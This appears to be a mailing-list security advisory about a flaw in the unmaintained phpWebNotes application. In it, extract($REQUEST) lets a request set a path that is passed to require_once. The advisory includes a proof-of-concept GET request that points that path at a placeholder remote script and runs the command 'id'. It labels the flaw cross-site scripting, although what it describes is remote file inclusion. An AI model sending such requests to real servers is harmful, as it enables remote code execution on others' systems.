XSS security hole in phpwebnotes.

[nf2 <nf2 () scheinwelt at>]

Hi security team!

I have found a security hole in a popular php application (not
maintained anymore). The hole already gets exploited - our server was 
hacked that way two days ago. Probably hackers just use google to find 
installations of phpwebnotes.

Version: phpWebNotes-2.0.0-pr1.tar.gz (last)
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the bug is in php_api.php line 77:

extract($REQUEST);

this allowes to change $t_path_core which is used in api.php:

require_once( $t_path_core . 'constants_inc.php' );

this can be used for a cross site scripting attack.

how does it work:

GET
http://server/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id

-----------------------------------------------------------------------


http://www.futureware.biz/webnotes/

http://sourceforge.net/projects/webnotes/

regards,

Norbert